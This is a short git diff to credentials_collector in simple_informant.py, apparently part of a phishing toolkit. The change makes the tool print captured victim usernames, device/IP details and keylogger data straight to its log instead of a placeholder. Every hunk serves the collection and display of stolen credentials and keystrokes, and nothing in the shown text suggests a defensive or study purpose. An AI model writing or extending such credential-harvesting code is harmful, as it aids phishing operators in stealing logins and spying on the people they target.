diff --git a/Defs/ActionManager/simple_informant.py b/Defs/ActionManager/simple_informant.py index 62cf41e..d9f19a0 100644 --- a/Defs/ActionManager/simple_informant.py +++ b/Defs/ActionManager/simple_informant.py @@ -97,7 +97,7 @@ def credentials_collector(port): with open('Server/www/usernames.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}lines{1}".format(default_palette[2], default_palette[3])) + log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) #run_command("touch Server/CapturedData/usernames.txt pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True) @@ -118,7 +118,7 @@ def credentials_collector(port): with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}lines{1}".format(default_palette[2], default_palette[3])) + log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) #run_command('touch Server/CapturedData/ip.txt pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) # && cat Server/www/ip.txt >> Server/CapturedData/ip.txt @@ -142,7 +142,7 @@ def credentials_collector(port): lines = creds.read().rstrip() if len(lines) != 0: log_writer(global_localization.line_of_dots) - log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}lines{1}".format(default_palette[2], default_palette[3])) + log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) #run_command('touch Server/CapturedData/KeyloggerData.txt pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True) # && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt